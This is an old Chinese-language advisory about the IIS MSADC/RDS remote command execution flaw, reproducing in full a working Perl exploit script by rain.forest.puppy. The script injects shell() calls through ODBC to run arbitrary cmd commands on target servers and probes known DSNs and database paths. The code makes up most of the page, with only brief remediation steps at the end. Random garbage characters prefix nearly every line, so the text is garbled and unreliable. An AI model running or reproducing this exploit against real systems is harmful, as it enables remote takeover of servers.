IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
mtpeRVcF H-!,yte 涉及程序:
9sM!`Lz{ Microsoft NT server
(=FRmdeYl1 1>.Ev,X+e 描述:
VnSCz" ?3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?=u\n;w) ob!P;]T 详细:
_f7 9wx\B 如果你没有时间读详细内容的话,就删除:
,=uD^n: c:\Program Files\Common Files\System\Msadc\msadcs.dll
W Tcw4 有关的安全问题就没有了。
;_XFo&@ h!,v/7= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
;gD})@ %6t:(z 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
av(6wht8 关于利用ODBC远程漏洞的描述,请参看:
3RUy,s fQ7V/x! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm eYc$dPE 8 %:Iv(UMk 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
2/U.|*mH http://www.microsoft.com/security/bulletins/MS99-025faq.asp qRu~$K b;L\EB 这里不再论述。
~kV/!= H[T?\Lq 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
xPdG*OcX! \wmN /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
0RzEY!9g+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
JT~4mT I !-
U'{ C;v.S5x #将下面这段保存为txt文件,然后: "perl -x 文件名"
{% 6}' a1+oj7 #!perl
1l9G[o
* #
Oz.HH # MSADC/RDS 'usage' (aka exploit) script
UklUw #
_OYasJUMG # by rain.forest.puppy
2bz2KB5> #
//B&k`u # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;2G*wR # beta test and find errors!
&.3"Uo\# OUE(I3_ use Socket; use Getopt::Std;
}ZYd4h|g\z getopts("e:vd:h:XR", \%args);
3s*mbk[J `4r 3l S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
_9ao?: @?ebuj5{e if (!defined $args{h} && !defined $args{R}) {
]IaMp788 print qq~
~"gA,e-) Usage: msadc.pl -h <host> { -d <delay> -X -v }
rV.}PtcFY -h <host> = host you want to scan (ip or domain)
` #0:gEo -d <seconds> = delay between calls, default 1 second
;J'LS -X = dump Index Server path table, if available
1> ?M>vK -v = verbose
n>z9K') -e = external dictionary file for step 5
IZf{nQ[0 >[f?vrz Or a -R will resume a command session
hy1oq7F(Q 'I|v[G$l ~; exit;}
j\yjc/m H;is/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
! 6 #X>S14 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_=>He=v/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
50h!
X9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3F"lXguS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
v@sIHb if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qfF~D0} D'>_I. if (!defined $args{R}){ $ret = &has_msadc;
kb%;=t2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
A.F%Ycq
IuDS*/Sx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#&+{mCjs . "cmd /c ";
T}Tp$.gB $in=<STDIN>; chomp $in;
3=#<X-); $command="cmd /c " . $in ;
E#RDqL*J xH4m| if (defined $args{R}) {&load; exit;}
xa'*P=<)C' F-Qzrqu S print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Xxj-
6i &try_btcustmr;
8bGd} ( Mc
lkEfn print "\nStep 2: Trying to make our own DSN...";
thh.A &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
R>|{N9 Ng&%o print "\nStep 3: Trying known DSNs...";
-
nm"of\o &known_dsn;
2YL?,uLS +bxYGD print "\nStep 4: Trying known .mdbs...";
&$BjV{,/zc &known_mdb;
1y&\5kB >dXGee>'M if (defined $args{e}){
e)IzQ7Zex print "\nStep 5: Trying dictionary of DSN names...";
2y\E[j A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_rMg}F" AF{\6<m print "Sorry Charley...maybe next time?\n";
yZ7&b&2nLn exit;
(y'hyJo zC:ASt ##############################################################################
b)#hSjWO# -:^U_FL8un sub sendraw { # ripped and modded from whisker
n)/z0n!\ sleep($delay); # it's a DoS on the server! At least on mine...
ZmqKQO my ($pstr)=@_;
QpH'PYy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W-f=]eWg die("Socket problems\n");
>gQ>1Bwvi if(connect(S,pack "SnA4x8",2,80,$target)){
uh_RGM& select(S); $|=1;
*tFHM &a print $pstr; my @in=<S>;
`cn#B
BV select(STDOUT); close(S);
2ACCh4(/P return @in;
H H)!_(SA } else { die("Can't connect...\n"); }}
Eh`7X=Z7E Ufj`euY ##############################################################################
m,28u3@r ;]puq sub make_header { # make the HTTP request
o#)C^xlQ my $msadc=<<EOT
'c&Ed POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
T.F!+ User-Agent: ACTIVEDATA
hW')Sp Host: $ip
"9uKtQS0o Content-Length: $clen
3yme1Mb Connection: Keep-Alive
yF:1( 4 0JS?; fk ADCClientVersion:01.06
t,Lrfv]) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e
,'_xV E`JI>7 --!ADM!ROX!YOUR!WORLD!
234p9A@ Content-Type: application/x-varg
LrfVh-}|:Y Content-Length: $reqlen
1nM
#kJ" E =67e=h EOT
R- wp9 ^ ; $msadc=~s/\n/\r\n/g;
&AMl:@p9 return $msadc;}
mUC)gA/ +QavYqPF ##############################################################################
A QU+mo L+F@:H6/0 sub make_req { # make the RDS request
f)rq%N & my ($switch, $p1, $p2)=@_;
KkyVSoD\ my $req=""; my $t1, $t2, $query, $dsn;
S7 2+d%$ YaqR[F if ($switch==1){ # this is the btcustmr.mdb query
k}CVQ@nd $query="Select * from Customers where City=" . make_shell();
@IKYh{j4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
"^[ 'y7i $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;;Y!^^g pX<`+t[ elsif ($switch==2){ # this is general make table query
atH*5X6d $query="create table AZZ (B int, C varchar(10))";
7"D",1h $dsn="$p1";}
2|y"!JqE1 (Rh,, elsif ($switch==3){ # this is general exploit table query
2"Q|+-Io $query="select * from AZZ where C=" . make_shell();
/N+dQe $dsn="$p1";}
@7c?xQVd$ TqQB@-! elsif ($switch==4){ # attempt to hork file info from index server
"{+QW $query="select path from scope()";
#MkTkm&r $dsn="Provider=MSIDXS;";}
N% B>M7-= Es`Px_k elsif ($switch==5){ # bad query
s)t@ol $query="select";
M?49TOQA $dsn="$p1";}
;d$rdFA_ q q`4<0 I> $t1= make_unicode($query);
nPtuTySG $t2= make_unicode($dsn);
bs&43Ae $req = "\x02\x00\x03\x00";
}K>d+6qk5 $req.= "\x08\x00" . pack ("S1", length($t1));
dDMJ' $req.= "\x00\x00" . $t1 ;
{?0lBfB" $req.= "\x08\x00" . pack ("S1", length($t2));
3%|&I:tI $req.= "\x00\x00" . $t2 ;
i"FtcP^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
zk+9'r`-D return $req;}
P; no? I,DS@SK ##############################################################################
0> E r=,e rXq.DvQ sub make_shell { # this makes the shell() statement
c#]4awHU return "'|shell(\"$command\")|'";}
3`?7<YJ T<>,lQs(a ##############################################################################
.43'HV Y-z(zS^1 sub make_unicode { # quick little function to convert to unicode
\l0[rcEf my ($in)=@_; my $out;
=%O6:YM
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
fbvL7*
( return $out;}
~=LE0. 3[ hE/cd1iJ$ ##############################################################################
) q4[zv9 B-Hrex] sub rdo_success { # checks for RDO return success (this is kludge)
e>OoyDZ@R my (@in) = @_; my $base=content_start(@in);
UDFDJm$ if($in[$base]=~/multipart\/mixed/){
R w\gTo return 1 if( $in[$base+10]=~/^\x09\x00/ );}
I@N8gn return 0;}
(lqC[: SulY1, ##############################################################################
gVuFHHeUz n8[!pH~6 sub make_dsn { # this makes a DSN for us
E]d.z6k my @drives=("c","d","e","f");
Ne!lH@ql print "\nMaking DSN: ";
wQf-sk# foreach $drive (@drives) {
?j.,Nw4FC print "$drive: ";
R\f+SvE my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3,w_".m`# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
H8jpxzXv . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1GRCV8"Z^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>R_&Ouh: return 0 if $2 eq "404"; # not found/doesn't exist
G_JA-@i% if($2 eq "200") {
372rbY foreach $line (@results) {
. Efk* return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(WJRi:NP? } return 0;}
Jpq~ t?gic9
q ##############################################################################
T!{w~'=F fOrH$? sub verify_exists {
^76]0`gS my ($page)=@_;
re<{
> my @results=sendraw("GET $page HTTP/1.0\n\n");
t@;p return $results[0];}
wlvgg Z{d^- ##############################################################################
ajT*/L!0_ 3?yg\ sub try_btcustmr {
@mBQ?;qlK my @drives=("c","d","e","f");
Y=KT eYW` my @dirs=("winnt","winnt35","winnt351","win","windows");
UkC!1Jy -2[a2^a' foreach $dir (@dirs) {
dT8S~-d% print "$dir -> "; # fun status so you can see progress
X?',n
1 foreach $drive (@drives) {
}.(B}/$u print "$drive: "; # ditto
bJ%h53 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3"e,qY $reqlenlen=length( "$reqlen" );
#{6/ (X $clen= 206 + $reqlenlen + $reqlen;
xo&_bMO mJnIwdW* my @results=sendraw(make_header() . make_req(1,$drive,$dir));
BxmWIItz if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3d]S!=4H" else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
J8(lIk:e &z3o7rif$ ##############################################################################
J@'wf8Ub NI]N4[8( sub odbc_error {
SfyQ$$Z my (@in)=@_; my $base;
CRE3icXbQ my $base = content_start(@in);
'H!Uh]! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
BU_nh+dF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
am'7uy!ka~ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kzLsoZ!I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X_h}J=33Q return $in[$base+4].$in[$base+5].$in[$base+6];}
cT,sh~-x, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m(!FHPvN print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Fxz"DZY6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
+6\Zj) /3T1U ##############################################################################
\b x$i* niyV8v sub verbose {
CTa57R my ($in)=@_;
r19
pZAc return if !$verbose;
IJ"q~r$ print STDOUT "\n$in\n";}
H
<l7ZS: }Y\%RA ##############################################################################
t{96p77)= i.m^/0! sub save {
~?BXti<! my ($p1, $p2, $p3, $p4)=@_;
c@7rqHU-0 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~>|ziHx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
T~e.PP close OUT;}
GTd,n= W6Fo6a"< ##############################################################################
V,njO{Q 7.oM J sub load {
fHFE){ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z}
#JK?u open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4r}51 N\ @p=<IN>; close(IN);
?@86P|19 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%ET+iIhK $target= inet_aton($ip) || die("inet_aton problems");
~DwpoeYX print "Resuming to $ip ...";
XL^GZ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
<5051UEu if($p[1]==1) {
2+XAX:YD $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
;V!D:5U $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
@VEb{ w[H my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|6-nbj if (rdo_success(@results)){print "Success!\n";}
9*M,R,y else { print "failed\n"; verbose(odbc_error(@results));}}
@yYkti;4- elsif ($p[1]==3){
x%B%f`]8 if(run_query("$p[3]")){
GbI/4<)l} print "Success!\n";} else { print "failed\n"; }}
a7opCmL elsif ($p[1]==4){
{l@{FUv if(run_query($drvst . "$p[3]")){
^cWnF0)j. print "Success!\n"; } else { print "failed\n"; }}
$&c*'3 exit;}
_[BP0\dPW hZb_P\1X ##############################################################################
\FaP|28h @0''k sub create_table {
jP.dDYc my ($in)=@_;
{JLtE{ $reqlen=length( make_req(2,$in,"") ) - 28;
^\m![T\bX $reqlenlen=length( "$reqlen" );
TWTb?HP $clen= 206 + $reqlenlen + $reqlen;
f o3}W^0 my @results=sendraw(make_header() . make_req(2,$in,""));
:A;RH return 1 if rdo_success(@results);
d=/F}yP~?s my $temp= odbc_error(@results); verbose($temp);
YmG("z return 1 if $temp=~/Table 'AZZ' already exists/;
$`8wJf9@w return 0;}
{qVZNXDn LS[]=Mk@1 ##############################################################################
-9?]IIVb QT}tvm@PMq sub known_dsn {
o mx= # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Mtx 4'WZ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~W/z96'
5 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
V7/Rby Q "banner", "banners", "ads", "ADCDemo", "ADCTest");
[}m[ )L\ gX@aG9 foreach $dSn (@dsns) {
UiNP3TJ'L print ".";
*T1_;4i next if (!is_access("DSN=$dSn"));
{!`6zBsP if(create_table("DSN=$dSn")){
uxz^/Gk print "$dSn successful\n";
Y]a@j! if(run_query("DSN=$dSn")){
%C]>9." print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!G|@6W` print "Something's borked. Use verbose next time\n";}}} print "\n";}
dO\"?aiD p#tI;"\y ##############################################################################
]4e;RV-B zt%Mx>V@ sub is_access {
z$sGv19pB my ($in)=@_;
pgo$61 $reqlen=length( make_req(5,$in,"") ) - 28;
DmcZta8n] $reqlenlen=length( "$reqlen" );
1Y,Z
%d $clen= 206 + $reqlenlen + $reqlen;
kx^/*~ex my @results=sendraw(make_header() . make_req(5,$in,""));
:4|4 =mkr my $temp= odbc_error(@results);
!)$Zp\Sg verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LP=)~K< return 0;}
RnN!2K W,u:gzmhw ##############################################################################
[Rb+q=z# j8gdlIx sub run_query {
K sCyFp my ($in)=@_;
:!QAC@
$reqlen=length( make_req(3,$in,"") ) - 28;
V]^$S"Tv $reqlenlen=length( "$reqlen" );
HaYo!.(Fv $clen= 206 + $reqlenlen + $reqlen;
;*J my @results=sendraw(make_header() . make_req(3,$in,""));
/L3: return 1 if rdo_success(@results);
B5QFK my $temp= odbc_error(@results); verbose($temp);
v:#tWEbo- return 0;}
[F7hu7zY8 Bw
yx c ##############################################################################
-\MG}5?! FI.\%x sub known_mdb {
d(K+);! my @drives=("c","d","e","f","g");
I^]nqK my @dirs=("winnt","winnt35","winnt351","win","windows");
Vvo7C!$z my $dir, $drive, $mdb;
6u%&<")4HP my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dN6?c'iN?2 7p[n # this is sparse, because I don't know of many
qP
,EBE my @sysmdbs=( "\\catroot\\icatalog.mdb",
'"Nr, vQo "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~ri5zb20 "\\system32\\certmdb.mdb",
1~gCtBRM "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
PY'2h4IL 2<6UwF my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
CJyevMf' "\\cfusion\\cfapps\\forums\\forums_.mdb",
+[ZY:ZQ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
#9s,#
} "\\cfusion\\cfapps\\security\\realm_.mdb",
(k P9hcV "\\cfusion\\cfapps\\security\\data\\realm.mdb",
(m$Y<{)2 "\\cfusion\\database\\cfexamples.mdb",
+`15le`R "\\cfusion\\database\\cfsnippets.mdb",
p<%d2@lp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
4ppz,L,4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\U0'P;em "\\cfusion\\brighttiger\\database\\cleam.mdb",
E{@[k%,_ "\\cfusion\\database\\smpolicy.mdb",
I+(nu47ZT "\\cfusion\\database\cypress.mdb",
qgB_=Q#E "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
9H~n_ "\\website\\cgi-win\\dbsample.mdb",
$VR{q6[0S? "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
i~72bMwsA "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
<ZW-QN4 ); #these are just
XP}<N&j foreach $drive (@drives) {
A}w/OA97RO foreach $dir (@dirs){
?A0)L27UE& foreach $mdb (@sysmdbs) {
sos5Y} print ".";
>GuM]qn if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
dWW.Y*339 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$Kd>:f=A if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7$#u print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
UZ";a453r } else { print "Something's borked. Use verbose next time\n"; }}}}}
xx $cnG +ai<
q>+ foreach $drive (@drives) {
8,|k ao: foreach $mdb (@mdbs) {
I 6O print ".";
bMBLXk if(create_table($drv . $drive . $dir . $mdb)){
d 'ifLQ\ print "\n" . $drive . $dir . $mdb . " successful\n";
1H9!5=Ff if(run_query($drv . $drive . $dir . $mdb)){
z!\*Y
=e print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
r|Z{-*` } else { print "Something's borked. Use verbose next time\n"; }}}}
3XKf!P }
k{0o9, sq]F;=[5 ##############################################################################
<Z$J<]I 9u_Pj2%56. sub hork_idx {
8EY:tzw print "\nAttempting to dump Index Server tables...\n";
^sZ,2,^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
vD4*&|8T# $reqlen=length( make_req(4,"","") ) - 28;
T{'RV0%
$reqlenlen=length( "$reqlen" );
0\$2X- c $clen= 206 + $reqlenlen + $reqlen;
1x^GWtRp my @results=sendraw2(make_header() . make_req(4,"",""));
D'4\*4is if (rdo_success(@results)){
HT@=evV my $max=@results; my $c; my %d;
V)4J`xg^ for($c=19; $c<$max; $c++){
4K74=r),i $results[$c]=~s/\x00//g;
*ui</+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6B-16 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Wl4%GB $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
=V5%+/r +f $d{"$1$2"}="";}
5-M-X#( foreach $c (keys %d){ print "$c\n"; }
AwN!;t_0+N } else {print "Index server doesn't seem to be installed.\n"; }}
s^SJY{ LQ% `c ##############################################################################
t<qiGDJ<d N g,j# sub dsn_dict {
w
= KPT''! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
QW"! (`K while(<IN>){
Pz^544\~ou $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4P0}+ next if (!is_access("DSN=$dSn"));
11lsf/IP if(create_table("DSN=$dSn")){
x"gVq
~ print "$dSn successful\n";
EV?z`jE9 if(run_query("DSN=$dSn")){
W!<U85-#S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
j.YA2mr print "Something's borked. Use verbose next time\n";}}}
n`KY9[0U= print "\n"; close(IN);}
@pxcpXCy G&dKY h\ ##############################################################################
KSL`W2} g .\[o@H sub sendraw2 { # ripped and modded from whisker
8i pez/ sleep($delay); # it's a DoS on the server! At least on mine...
Debv4Gr;^ my ($pstr)=@_;
=lC7gS!U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
n:X y6H die("Socket problems\n");
= /8cp if(connect(S,pack "SnA4x8",2,80,$target)){
3a|\dav% print "Connected. Getting data";
T;#FEzBz open(OUT,">raw.out"); my @in;
Wjc'*QCPl select(S); $|=1; print $pstr;
e# bn# while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{b{s<@? close(OUT); select(STDOUT); close(S); return @in;
liSmjsk } else { die("Can't connect...\n"); }}
w>YDNOk <uJ@:oWG7 ##############################################################################
qWw=8Bq o(HbGHIP sub content_start { # this will take in the server headers
j<x_ &1 my (@in)=@_; my $c;
W%J\qA for ($c=1;$c<500;$c++) {
N;gfbh] if($in[$c] =~/^\x0d\x0a/){
;\]@K6m/Ap if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
*`U~?q} else { return $c+1; }}}
0aAoV0fMDz return -1;} # it should never get here actually
2?x4vI
np; H#&00 Q[ ##############################################################################
Lr<cMK< Ls%MGs9PI sub funky {
`2snz1>!j my (@in)=@_; my $error=odbc_error(@in);
u&NV,6Fj2[ if($error=~/ADO could not find the specified provider/){
y)pk6d print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6wxs1G exit;}
$u.z*b_yy if($error=~/A Handler is required/){
D]}G.v1 print "\nServer has custom handler filters (they most likely are patched)\n";
Yz b XuJ4 exit;}
a
=QCp4^ if($error=~/specified Handler has denied Access/){
kP"9&R`E print "\nServer has custom handler filters (they most likely are patched)\n";
,s(,S exit;}}
VE24ToI?W" 8_8l.!~ ##############################################################################
=Uh$&m ^s=8!=A( sub has_msadc {
L$-T,Kze my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9gFUaDLo my $base=content_start(@results);
$?Wb}DU7_L return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
PeT'^?> return 0;}
6 r"<jh # HDLk>_N_s, ########################
putrSSL} ?EL zj ,)XLq8 解决方案:
_LPHPj^Pg 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
w@b)g 2、移除web 目录: /msadc